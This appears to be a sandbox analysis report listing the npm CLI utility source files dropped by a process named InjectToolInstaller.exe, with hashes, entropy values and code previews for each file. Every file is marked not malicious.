Preview:	const { inspect } = require('util').const npmlog = require('npmlog').const log = require('./log-shim.js').const { explain } = require('./explain-eresolve.js')..class Display {. #chalk = null.. constructor () {. // pause by default until config is loaded. this.on(). log.pause(). }.. on () {. process.on('log', this.#logHandler). }.. off () {. process.off('log', this.#logHandler). // Unbalanced calls to enable/disable progress. // will leave change listeners on the tracker. // This pretty much only happens in tests but. // this removes the event emitter listener warnings. log.tracker.removeAllListeners(). }.. load (config) {. const {. color,. chalk,. timing,. loglevel,. unicode,. progress,. silent,. heading = 'npm',. } = config.. this.#chalk = chalk.. // npmlog is still going away someday, so this is a hack to dynamically. // set the loglevel of timing based on the timing flag, instead of making.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\error-message.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	13857
Entropy (8bit):	4.551215705135372
Encrypted:	false
SSDEEP:	384:Ee8TqJgMF5kKh6+FI/kRUnycNnwOQxZI6934DtVw0/8MCezCaDH9FOTqsb8rUzD8:Z8TqJgMF5kKNO/kRUycNnwDxZ/934Dt9
MD5:	13B33260DD04ACAD10EADCD4F02978ED
SHA1:	17E2D885B3315F5960FE0F2F68A2C83BDF2E04A9
SHA-256:	BB5D281B627BED7A9928A58F7612DD4E337C0C879C92A0D39483E43D985D6923
SHA-512:	4F9CA6C79DB58A2D125BE1DE04F1106D3A74147E4591AEC82AA02C7931B51956FD3610F2ED641C030C2F04DED2A3B09CB745DEE1AA929CEA207C68C54A385D76
Malicious:	false
Preview:	const { format } = require('util').const { resolve } = require('path').const nameValidator = require('validate-npm-package-name').const replaceInfo = require('./replace-info.js').const { report } = require('./explain-eresolve.js').const log = require('./log-shim')..const messageText = msg => msg.map(line => line.slice(1).join(' ')).join('\n')..const jsonError = (er, npm, { summary, detail }) => {. if (npm?.config.loaded && npm.config.get('json')) {. return {. error: {. code: er.code,. summary: messageText(summary),. detail: messageText(detail),. },. }. }.}..const errorMessage = (er, npm) => {. const short = []. const detail = []. const files = [].. if (er.message) {. er.message = replaceInfo(er.message). }. if (er.stack) {. er.stack = replaceInfo(er.stack). }.. switch (er.code) {. case 'ERESOLVE': {. short.push(['ERESOLVE', er.message]). detail.push(['', '']). // XXX(display): error messages are logged so we use the

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\exit-handler.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6942
Entropy (8bit):	4.614225160266215
Encrypted:	false
SSDEEP:	96:Ty7LG0wgyPKPERQdQxzT/4Itpt4qmNE8AIEkTP2Me7KFTvd463V2/mcp7b9Zt8:G7LGbRCqwISd6ZMJFTvb3Q5pn9Zt8
MD5:	5552B8CBCCA6D2F2B80E3FF837F33948
SHA1:	01C359C696CB7AC9BA5783961C090984E3688367
SHA-256:	6A1C8D4D2CF7A6FF7F06D63ADF86EDE4CBA743A0884BAACE72A619A625FC64A4
SHA-512:	1A2908BF16AE7519DE98ADE4A3037F7C189D2AF642F1BF8F6504352E6D7DACED31C69B553688168569E7B73D96C7A504ADF5BB471FC3662706D2135CA9DA950F
Malicious:	false
Preview:	const os = require('os').const fs = require('fs')..const log = require('./log-shim.js').const errorMessage = require('./error-message.js').const replaceInfo = require('./replace-info.js')..let npm = null // set by the cli.let exitHandlerCalled = false.let showLogFileError = false..process.on('exit', code => {. log.disableProgress().. // process.emit is synchronous, so the timeEnd handler will run before the. // unfinished timer check below. process.emit('timeEnd', 'npm').. const hasLoadedNpm = npm?.config.loaded.. // Unfinished timers can be read before config load. if (npm) {. for (const [name, timer] of npm.unfinishedTimers) {. log.verbose('unfinished npm timer', name, timer). }. }.. if (!code) {. log.info('ok'). } else {. log.verbose('code', code). }.. if (!exitHandlerCalled) {. process.exitCode = code \|\| 1. log.error('', 'Exit handler never called!'). // eslint-disable-next-line no-console. console.error(''). log.error('', 'This is an err

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\explain-dep.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3584
Entropy (8bit):	4.830988910333664
Encrypted:	false
SSDEEP:	96:CiixReFO1/MUOOFojS7KlYfMceXXuRvDGF0WrjKqWI:CiixR2O1/fOOFoG7K+UhHUvDE0AjZWI
MD5:	CA195110F48922D2B8CE9BAA6BFF0E89
SHA1:	068BACBA23CF62056711C3732A81F1E6A3FE5DB4
SHA-256:	22A9B9F2CDA4F17C12ED87CCA8149AD4E41CE8842E5DD9F56491ADD020D1146E
SHA-512:	EFC2AFE0614EF0FCF1A76471E9C35EEB1455EE1FDF514F9024049350FA9F67687C66E422CE18EA9F8A26C8B2064B43CDA29A30BE8E35C9E0F0938F332262F397
Malicious:	false
Preview:	const { relative } = require('path')..const explainNode = (node, depth, chalk) =>. printNode(node, chalk) +. explainDependents(node, depth, chalk) +. explainLinksIn(node, depth, chalk)..const colorType = (type, chalk) => {. const { red, yellow, cyan, magenta, blue, green, gray } = chalk. const style = type === 'extraneous' ? red. : type === 'dev' ? yellow. : type === 'optional' ? cyan. : type === 'peer' ? magenta. : type === 'bundled' ? blue. : type === 'workspace' ? green. : type === 'overridden' ? gray. : /* istanbul ignore next */ s => s. return style(type).}..const printNode = (node, chalk) => {. const {. name,. version,. location,. extraneous,. dev,. optional,. peer,. bundled,. isWorkspace,. overridden,. } = node. const { bold, dim, green } = chalk. const extra = []. if (extraneous) {. extra.push(' ' + bold(colorType('extraneous', chalk))). }.. if (dev) {. extra.push(' ' + bold(colorType('dev', chalk))). }.. i

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\explain-eresolve.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2617
Entropy (8bit):	4.845648825401975
Encrypted:	false
SSDEEP:	48:a1CSGECDrIv+lewrcaoWERpz4Uo/pXrj4hKtndttdY5yfGODsKsGgu:I9GrDxef/WERpz4UoxXrjftdvdY5yuVk
MD5:	1E4F23072FD0C576EE39D592108706D2
SHA1:	6FA194F46A4F6F85091807C02EB6E2D39956FA33
SHA-256:	503D1EA958F01A9BD172F453CF45A6F99AF737209B2A4BDC5E4DF6DA1D10F38F
SHA-512:	39C5FD6284C2A7F300D0808DAF64206789D2657883E00E0881163CFB21DBB754787504752ABF30EE6D1A71988783543850E402C6738C44957F1F33E6F7345854
Malicious:	false
Preview:	// this is called when an ERESOLVE error is caught in the exit-handler,.// or when there's a log.warn('eresolve', msg, explanation), to turn it.// into a human-intelligible explanation of what's wrong and how to fix..const { explainEdge, explainNode, printNode } = require('./explain-dep.js')..// expl is an explanation object that comes from Arborist. It looks like:.// Depth is how far we want to want to descend into the object making a report..// The full report (ie, depth=Infinity) is always written to the cache folder.// at ${cache}/eresolve-report.txt along with full json..const explain = (expl, chalk, depth) => {. const { edge, dep, current, peerConflict, currentEdge } = expl.. const out = []. const whileInstalling = dep && dep.whileInstalling \|\|. current && current.whileInstalling \|\|. edge && edge.from && edge.from.whileInstalling. if (whileInstalling) {. out.push('While resolving: ' + printNode(whileInstalling, chalk)). }.. // it "should" be impossible for an ERES

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\format-bytes.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	629
Entropy (8bit):	4.709880401035195
Encrypted:	false
SSDEEP:	12:j9+hBliIiGFPscNwFmu6PNy2LAZFN0QLAv8AvWB1:uiIiGFPsLmxPk2kZFKQk9eB1
MD5:	AA460C302A6B7EF04B42D9065F14DADF
SHA1:	7A9540085F219D4D8941176C7D62C50420937422
SHA-256:	FAFD11CE6541ACEA8AAB3920EF30A781CB9BB745B2978A8C29DFB6B74D41503B
SHA-512:	5EFF93A4BE2FC12BBD8074D2DD24CBA826B93A7DC27F7589D3C328B76548B23C3FC1936D4F2B892D6D59AD0958BE3BB38D449E0758C70246574513AA21D0877F
Malicious:	false
Preview:	// Convert bytes to printable output, for file reporting in tarballs.// Only supports up to GB because that's way larger than anything the registry.// supports anyways...const formatBytes = (bytes, space = true) => {. let spacer = ''. if (space) {. spacer = ' '. }.. if (bytes < 1000) {. // B. return `${bytes}${spacer}B`. }.. if (bytes < 1000000) {. // kB. return `${(bytes / 1000).toFixed(1)}${spacer}kB`. }.. if (bytes < 1000000000) {. // MB. return `${(bytes / 1000000).toFixed(1)}${spacer}MB`. }.. // GB. return `${(bytes / 1000000000).toFixed(1)}${spacer}GB`.}..module.exports = formatBytes.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\format-search-stream.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4126
Entropy (8bit):	4.880589639392785
Encrypted:	false
SSDEEP:	96:0hPwPUXEAd8UjwDUjTSd6V2Hw26EROPIMwPIkD0KLCMOVJBsFUc76C:IPwJA5PjTp0HmdI5HDH2bBpo6C
MD5:	00846617CBF4AFF8CB8C25FF514D3C81
SHA1:	267EA45D491772066FB3E8E478E173EDD84F6ADD
SHA-256:	F739ABF8FB86B19F4314288DD2CCC297FD8CDD3492B4742A82AB17A1184D81DA
SHA-512:	3485D250949F09EE0341046B066642C64F9B0B3E865BD92B098274BEB53973A430B8203D77FAC0FB67BE658775CBFC260BC01376A313798D10C4DC110B3E644E
Malicious:	false
Preview:	const { Minipass } = require('minipass').const columnify = require('columnify').const ansiTrim = require('strip-ansi')..// This module consumes package data in the following format:.//.// {.// name: String,.// description: String,.// maintainers: [{ username: String, email: String }],.// keywords: String \| [String],.// version: String,.// date: Date // can be null,.// }.//.// The returned stream will format this package data.// into a byte stream of formatted, displayable output...module.exports = (opts) => {. return opts.json ? new JSONOutputStream() : new TextOutputStream(opts).}..class JSONOutputStream extends Minipass {. #didFirst = false.. write (obj) {. if (!this.#didFirst) {. super.write('[\n'). this.#didFirst = true. } else {. super.write('\n,\n'). }.. return super.write(JSON.stringify(obj)). }.. end () {. super.write(this.#didFirst ? ']\n' : '\n[]\n'). super.end(). }.}..class TextOutputStream extends Minipass {. constructor (

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\get-identity.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	802
Entropy (8bit):	4.737357804350113
Encrypted:	false
SSDEEP:	24:ULB3kQP4USulNRXbqZZV/PoXlFaXP5+34:ULGQP1llnqtKcXx7
MD5:	606DD9C0B2313C5C5FE4BB6AA9023BDA
SHA1:	449D1DB868A347EF2B6F6FB22BD75D53623452CA
SHA-256:	DC52E857E6F06431DF24C9FE5E2F7423DF041CACF2F7B9156ED9CD706DDEBD4E
SHA-512:	5C3D2425FD16693C51F146057A8E6136D0591220588AB40EDE327C493597E3F7DB04EDBC104476DE9329F6FF011F3765F793162FE6B30CB4FB339816B9D83562
Malicious:	false
Preview:	const npmFetch = require('npm-registry-fetch')..module.exports = async (npm, opts) => {. const { registry } = opts.. // First, check if we have a user/pass-based auth. const creds = npm.config.getCredentialsByURI(registry). if (creds.username) {. return creds.username. }.. // No username, but we have other credentials; fetch the username from registry. if (creds.token \|\| creds.certfile && creds.keyfile) {. const registryData = await npmFetch.json('/-/whoami', { ...opts }). if (typeof registryData?.username === 'string') {. return registryData.username. }. }.. // At this point, even if they have a credentials object, it doesn't have a. // valid token.. throw Object.assign(. new Error('This command requires you to be logged in.'),. { code: 'ENEEDAUTH' }. ).}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\is-windows.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	233
Entropy (8bit):	4.894286651272959
Encrypted:	false
SSDEEP:	6:1ga9LzsYMfsorzvXKBfMcHQKcguwsJd5CKXRdfsofh:159LgYM0orzkfMcHQKc5Jd5CKXRd0o5
MD5:	68FFAC0D2DB106524BEB0007E32DB5C5
SHA1:	4DE3181F145F51D8066997C8CDE2FBF5A2938A50
SHA-256:	A82CA2A50AAF8CB0A48174E7E0A9E5285BBDC6A1F50248875ADE42D11FD2231A
SHA-512:	D95D4B7DDB31E3DD39B0062F8F4838F68F913AE53461036AFE17FAAE0C2441B55A04F76CF8AAB6F450FC71C0BBB93D92D14DC7425CD6AC5CA88C342F9A8EE300
Malicious:	false
Preview:	const isWindows = process.platform === 'win32'.const isWindowsShell = isWindows &&. !/^MINGW(32\|64)$/.test(process.env.MSYSTEM) && process.env.TERM !== 'cygwin'..exports.isWindows = isWindows.exports.isWindowsShell = isWindowsShell.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\log-file.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	7209
Entropy (8bit):	4.663902108109105
Encrypted:	false
SSDEEP:	96:JF7OTdRLheKFq3q0nO/p1MdwB061UBMm+X8q53z2mwtdaaSRG:JshinO/p1MdwB0oUZ+X8qBz2mw/aHRG
MD5:	F5476016BC79A49C6EC8DB39BA660699
SHA1:	DD0AD379039231DAF3768DA7398083C1BED24BEC
SHA-256:	C26B5BE9E31F392F6F8AE119A5335774CBA22FC12D35659453193C3B69F3614B
SHA-512:	E528B8F2A00B8502069DEE75A6ECA1B51EEADAB83A2AE778AB4E8032D7466B81595E89595B0036FE71148077E77640570215A107A46F8DF9FDC904BA6D05C9CA
Malicious:	false
Preview:	const os = require('os').const { join, dirname, basename } = require('path').const { format } = require('util').const { glob } = require('glob').const { Minipass } = require('minipass').const fsMiniPass = require('fs-minipass').const fs = require('fs/promises').const log = require('./log-shim')..const padZero = (n, length) => n.toString().padStart(length.toString().length, '0').const globify = pattern => pattern.split('\\').join('/')..class LogFiles {. // Default to a plain minipass stream so we can buffer. // initial writes before we know the cache location. #logStream = null.. // We cap log files at a certain number of log events per file.. // Note that each log event can write more than one line to the. // file. Then we rotate log files once this number of events is reached. #MAX_LOGS_PER_FILE = null.. // Now that we write logs continuously we need to have a backstop. // here for infinite loops that still log. This is also partially handled. // by the config.get('max-files

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\log-shim.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1718
Entropy (8bit):	5.022830007707424
Encrypted:	false
SSDEEP:	48:ZA84rppYqeJhaha1n9vfZEkCCL7s4PtXizmrFrvmcM:t4rpGq4yaXs4Pxt97M
MD5:	96F1A886F650F0B54D92A0EBBC949086
SHA1:	F50A653950B3093F649B28815DFD2EAB25EB1618
SHA-256:	4F0997B16A589182A034012A4AE8769AB81236A8ED21AAF0CB1DD1A2BCCC3A7B
SHA-512:	14DA4A07DEE4DD45738D8D4B81CCBBBCC2B1EFC7B34B07E27CECE9B2C175D40574EF4CAA529860ABE530394CA4CF7E3FB0F4EFCEAF6250E3509E5935C368698F
Malicious:	false
Preview:	const NPMLOG = require('npmlog').const PROCLOG = require('proc-log')..// Sets getter and optionally a setter.// otherwise setting should throw.const accessors = (obj, set) => (k) => ({. get: () => obj[k],. set: set ? (v) => (obj[k] = v) : () => {. throw new Error(`Cant set ${k}`). },.})..// Set the value to a bound function on the object.const value = (obj) => (k) => ({. value: (...args) => obj[k].apply(obj, args),.})..const properties = {. // npmlog getters/setters. level: accessors(NPMLOG, true),. heading: accessors(NPMLOG, true),. levels: accessors(NPMLOG),. gauge: accessors(NPMLOG),. stream: accessors(NPMLOG),. tracker: accessors(NPMLOG),. progressEnabled: accessors(NPMLOG),. // npmlog methods. useColor: value(NPMLOG),. enableColor: value(NPMLOG),. disableColor: value(NPMLOG),. enableUnicode: value(NPMLOG),. disableUnicode: value(NPMLOG),. enableProgress: value(NPMLOG),. disableProgress: value(NPMLOG),. clearProgress: value(NPMLOG),. showProgress: value(NPM

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\npm-usage.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2064
Entropy (8bit):	4.927794767981557
Encrypted:	false
SSDEEP:	48:u181wZnx2iEt2GC7NkDG0OUuN6va5TWEVmEJRUQ32f:uyEngcL7hrTBzJKQ3i
MD5:	BBE335086912EFDBDCCCA36707B595D9
SHA1:	3FF87603600236C7E60FF022B82066E0C470C147
SHA-256:	376952E674039266F50AFABB56BA4E4AA8346A86387AC98DBA0D0B54330B9757
SHA-512:	D9FFAAC398DC44BA11F51FCECA278EAC5E881D44D97860A5D0D3C0F31172F0E32325C3F06546449AE0864BEBD880C93199BCE6F0E1B01013AFC27359DFCEBD95
Malicious:	false
Preview:	const { commands } = require('./cmd-list')..const COL_MAX = 60.const COL_MIN = 24.const COL_GUTTER = 16.const INDENT = 4..const indent = (repeat = INDENT) => ' '.repeat(repeat).const indentNewline = (repeat) => `\n${indent(repeat)}`..module.exports = (npm) => {. const browser = npm.config.get('viewer') === 'browser' ? ' (in a browser)' : ''. const allCommands = npm.config.get('long') ? cmdUsages(npm.constructor) : cmdNames().. return `npm <command>..Usage:..npm install install all the dependencies in your project.npm install <foo> add the <foo> dependency to your project.npm test run this project's tests.npm run <foo> run the script named <foo>.npm <command> -h quick help on <command>.npm -l display usage info for all commands.npm help <term> search for help on <term>${browser}.npm help npm more involved overview${browser}..All commands:.${allCommands}..Specify configs in the ini-formatted file:.${indent() + npm.config.get('userconfig')}

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\open-url-prompt.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1472
Entropy (8bit):	4.706048470738055
Encrypted:	false
SSDEEP:	24:82cgVKnYqJm9ZxZpIdZFvQxLxzYEvcqMgH3NvvFplIQucgJIzBvV2fUfmeIsMB+O:825VKYrnVaiFtlUqpHd6TdykfUOHsMoO
MD5:	24132B6E35D70AF8E65432C90F685A99
SHA1:	ABC3AB67570CB71A54C090DD83185B881BD56116
SHA-256:	BE281A23E94A4D5DA60816874553D997551C60DC4ABE31F422D77E48DD452613
SHA-512:	195CFEBB854B1C4882810C8A76F7938B58D7F98F091B2AA3EC6687E4F6379E0BD6939263FA04D58D8F9F4CEE6D71FB42FAD12F0457DD5CB0901E6D11F46C19B1
Malicious:	false
Preview:	const readline = require('readline').const promiseSpawn = require('@npmcli/promise-spawn')..function print (npm, title, url) {. const json = npm.config.get('json').. const message = json ? JSON.stringify({ title, url }) : `${title}:\n${url}`.. npm.output(message).}..// Prompt to open URL in browser if possible.const promptOpen = async (npm, url, title, prompt, emitter) => {. const browser = npm.config.get('browser'). const isInteractive = process.stdin.isTTY === true && process.stdout.isTTY === true.. try {. if (!/^https?:$/.test(new URL(url).protocol)) {. throw new Error(). }. } catch (_) {. throw new Error('Invalid URL: ' + url). }.. print(npm, title, url).. if (browser === false \|\| !isInteractive) {. return. }.. const rl = readline.createInterface({. input: process.stdin,. output: process.stdout,. }).. const tryOpen = await new Promise(resolve => {. rl.on('SIGINT', () => {. rl.close(). resolve('SIGINT'). }).. rl.question(prompt

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\open-url.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1114
Entropy (8bit):	4.655027268758843
Encrypted:	false
SSDEEP:	24:IzeKruVZylMiQ9m33oVWYEvcWAiSedxDWBV:IzeKraZylMC33oQlUWAiGj
MD5:	D95F9BF3A2D22FF466D26290A7513EE8
SHA1:	5B3CAAB9BB5241222512E675136C9FBD161D4913
SHA-256:	D9DC1B30185901BA53C9C059C05F38B75CB3A57080951D0EA85244F39F420337
SHA-512:	FA4CE8A796ED808551BD37727ECDA9F0D07447DBE7C7D6A763B59929B203E16B316E786C40E2E000D02E65937215CD5965301ACC227DEEBD41262F134A594FEE
Malicious:	false
Preview:	const promiseSpawn = require('@npmcli/promise-spawn')..const { URL } = require('url')..// attempt to open URL in web-browser, print address otherwise:.const open = async (npm, url, errMsg, isFile) => {. url = encodeURI(url). const browser = npm.config.get('browser').. function printAlternateMsg () {. const json = npm.config.get('json'). const alternateMsg = json. ? JSON.stringify({. title: errMsg,. url,. }, null, 2). : `${errMsg}:\n ${url}\n`.. npm.output(alternateMsg). }.. if (browser === false) {. printAlternateMsg(). return. }.. // We pass this in as true from the help command so we know we don't have to. // check the protocol. if (!isFile) {. try {. if (!/^https?:$/.test(new URL(url).protocol)) {. throw new Error(). }. } catch {. throw new Error('Invalid URL: ' + url). }. }.. const command = browser === true ? null : browser. await promiseSpawn.open(url, { command }). .catch((err) => {.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\otplease.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1259
Entropy (8bit):	4.605754379098821
Encrypted:	false
SSDEEP:	24:yQth2Qtj8zSmQ8PM36RmoIQJrt+0lHc6EYlo5sQ8cDn4rPBgJ:yghj9cS/8C6RmoBJr9HBvlo5s9cDnqKJ
MD5:	2EDE467F2DF434D776B510D451D02E30
SHA1:	16E79A415F45CE8B4EC6F6C95D1F811F8F149C06
SHA-256:	4B87541F4CB38468315EDCF346B2FA25ED10AA8441CABE7D4B87DF73010FE53A
SHA-512:	AE2504B8F494F9281452ECEB4CE5BBB2A118404B465CF1D2E084195EB2ECF069AC188A7C00DAE8EB76F4A6EFE929498A840E7E6F21EA365568D10F75971BDF8F
Malicious:	false
Preview:	const log = require('./log-shim').async function otplease (npm, opts, fn) {. try {. return await fn(opts). } catch (err) {. if (!process.stdin.isTTY \|\| !process.stdout.isTTY) {. throw err. }.. if (isWebOTP(err)) {. log.disableProgress(). const webAuth = require('./web-auth'). const openUrlPrompt = require('./open-url-prompt').. const openerPromise = (url, emitter) =>. openUrlPrompt(. npm,. url,. 'Authenticate your account at',. 'Press ENTER to open in the browser...',. emitter. ). const otp = await webAuth(openerPromise, err.body.authUrl, err.body.doneUrl, opts). return await fn({ ...opts, otp }). }.. if (isClassicOTP(err)) {. const readUserInfo = require('./read-user-info.js'). const otp = await readUserInfo.otp('This operation requires a one-time password.\nEnter OTP:'). return await fn({ ...opts, otp }). }.. throw err. }.}..function isWebOTP (err) {

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\ping.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	252
Entropy (8bit):	4.740487637484326
Encrypted:	false
SSDEEP:	6:jaPW1FwFnghyYgSzBYSFvCDMNV/ESGGferaAv:jjPYWPzBNFwMMSGGferRv
MD5:	2DF9DBF2CCB76C2D9F8F07DD8355F608
SHA1:	612F47D494A726C2F6FBBB8ED39F62A6AFD86AD8
SHA-256:	8085B217C4BE5D3CD7040E6914D6155238ACC7FB0E5B1758878D8C8817EF8B14
SHA-512:	B55764251117A6C4FFCA420295BD3418F1E741A97E4D12066A805040F2FE4C2303D80F04DF549CBBCE8656F50C01EAC3719F4EF0C2B19F0047F5613C27005D7E
Malicious:	false
Preview:	// ping the npm registry.// used by the ping and doctor commands.const fetch = require('npm-registry-fetch').module.exports = async (flatOptions) => {. const res = await fetch('/-/ping?write=true', flatOptions). return res.json().catch(() => ({})).}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\pulse-till-done.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	4.640808620247119
Encrypted:	false
SSDEEP:	12:fKQmQNVF0XKU+4mvF0znczqjvFYCCU9vFtE8eYigmEBxaf:yQtcv+3qnczqJRtE8sgxBx0
MD5:	9661AF9DEE07EC15F16344254626BF29
SHA1:	AEB2D4D451A6AE21E3A9C99C9FD832BDC1547BA4
SHA-256:	79CC5A578F72D7A2DD3B40B4402D94956831EBA70FB1DB5BA5FAFAA3D8DB5805
SHA-512:	7B39AEE9D333B206330E52B44DF24BFBC96A1899BA265E0A933B610F7F1D2CA24D4D4114D8CD193544EC7C875F14C90D4ABE14EA67F360B7E712AFBD451AAC9B
Malicious:	false
Preview:	const log = require('./log-shim.js')..let pulseTimer = null.const withPromise = async (promise) => {. pulseStart(). try {. return await promise. } finally {. pulseStop(). }.}..const pulseStart = () => {. pulseTimer = pulseTimer \|\| setInterval(() => {. log.gauge.pulse(''). }, 150).}..const pulseStop = () => {. clearInterval(pulseTimer). pulseTimer = null.}..module.exports = {. withPromise,.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\queryable.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9659
Entropy (8bit):	4.682047032433609
Encrypted:	false
SSDEEP:	192:E943RyA9rWnpIt2fO6P6bH1tdDfF/scBNMFhTnn2tCSZpCMGCDiy3SnRtcwl8awd:PRyu4K2fnEXWCcdwM/ePV
MD5:	AD0462D26FC668C15195883214A3ED83
SHA1:	B5CCAB7853BE2EAF57E5E8C52BC32F244DA1F4CA
SHA-256:	FBB6C00F491EB6459DEF16F8128EA2CE83E7AA9C53F84742D49B56FBAD5D9347
SHA-512:	EA3BE021C71C438CC908C8B44EBAF50AD1EF71D42D4F13E9F860D78276D7CD50095DAADC9070CC3D6DD3E8FA9A369556CAC5F1AAD1B9E20B57C30FC46BC2DA4D
Malicious:	false
Preview:	const util = require('util').const _delete = Symbol('delete').const _append = Symbol('append')..const sqBracketsMatcher = str => str.match(/(.+)\[([^\]]+)\]\.?(.)$/)..// replaces any occurrence of an empty-brackets (e.g: []) with a special.// Symbol(append) to represent it, this is going to be useful for the setter.// method that will push values to the end of the array when finding these.const replaceAppendSymbols = str => {. const matchEmptyBracket = str.match(/^(.)\[\]\.?(.*)$/).. if (matchEmptyBracket) {. const [, pre, post] = matchEmptyBracket. return [...replaceAppendSymbols(pre), _append, post].filter(Boolean). }.. return [str].}..const parseKeys = key => {. const sqBracketItems = new Set(). sqBracketItems.add(_append). const parseSqBrackets = str => {. const index = sqBracketsMatcher(str).. // once we find square brackets, we recursively parse all these. if (index) {. const preSqBracketPortion = index[1].. // we want to have a `new String` wrap

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\read-user-info.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2044
Entropy (8bit):	4.8128995623958355
Encrypted:	false
SSDEEP:	48:mAkjXPRnj5YlLAmS6dP/hnJE1i7h7UxA7LlB9kMu5vQAfKQ:m3jXPRVYlLAidB37hgyflkMu53iQ
MD5:	05443CEB164860E19B33AC9CE2D582ED
SHA1:	020F5ABB2B01698743BF5BBF29C5035BE7F9423B
SHA-256:	B9D5138932CDCC1B9C2D172C9736E39DF6FA338C094A5D11D02D4A9319FDB87B
SHA-512:	2EC763D3795FE1D8499379ADE8099FB250A7D3CFE80145FB239AC8A90B4DA88F6763E2F2E76B3455657DBE4B35C2E5568D40B79F08F0E65093D6438E05A2B4AA
Malicious:	false
Preview:	const read = require('read').const userValidate = require('npm-user-validate').const log = require('./log-shim.js')..exports.otp = readOTP.exports.password = readPassword.exports.username = readUsername.exports.email = readEmail..const otpPrompt = `This command requires a one-time password (OTP) from your authenticator app..Enter one below. You can also pass one on the command line by appending --otp=123456..For more information, see:.https://docs.npmjs.com/getting-started/using-two-factor-authentication.Enter OTP: `.const passwordPrompt = 'npm password: '.const usernamePrompt = 'npm username: '.const emailPrompt = 'email (this IS public): '..function readWithProgress (opts) {. log.clearProgress(). return read(opts).finally(() => log.showProgress()).}..function readOTP (msg = otpPrompt, otp, isRetry) {. if (isRetry && otp && /^[\d ]+$\|^[A-Fa-f0-9]{64,64}$/.test(otp)) {. return otp.replace(/\s+/g, ''). }.. return readWithProgress({ prompt: msg, default: otp \|\| '' }). .then((r

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\reify-finish.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	876
Entropy (8bit):	4.771390471966607
Encrypted:	false
SSDEEP:	12:VBXMmjI7xXKaW6FUCfP/FyEnK89RThGeWh73Fk7zKF009E2qsDI95NqKLtwIbWpP:EjRbpDyEK8M1k7zKXSds0HEKRXipB5
MD5:	AAF85262FC969BEBCAE6F90D7E003F8A
SHA1:	8D5F6DB331E96F6D249511F45987DA90328BF80C
SHA-256:	7BBB010564957C8C12A43259B51E369F228BB8D9B184679C07096F8292C35021
SHA-512:	23AD278176313E3401044F96F9345E9A132E46F82BC0B91126ACA820308D1431A873BEF6BB0D5F47B74D0123187E03F1B01C18D88CEC1B7062DC388C76E7B1E2
Malicious:	false
Preview:	const reifyOutput = require('./reify-output.js').const ini = require('ini').const { writeFile } = require('fs').promises.const { resolve } = require('path')..const reifyFinish = async (npm, arb) => {. await saveBuiltinConfig(npm, arb). reifyOutput(npm, arb).}..const saveBuiltinConfig = async (npm, arb) => {. const { options: { global }, actualTree } = arb. if (!global) {. return. }.. // if we are using a builtin config, and just installed npm as. // a top-level global package, we have to preserve that config.. const npmNode = actualTree.inventory.get('node_modules/npm'). if (!npmNode) {. return. }.. const builtinConf = npm.config.data.get('builtin'). if (builtinConf.loadError) {. return. }.. const content = ini.stringify(builtinConf.raw).trim() + '\n'. await writeFile(resolve(npmNode.path, 'npmrc'), content).}..module.exports = reifyFinish.

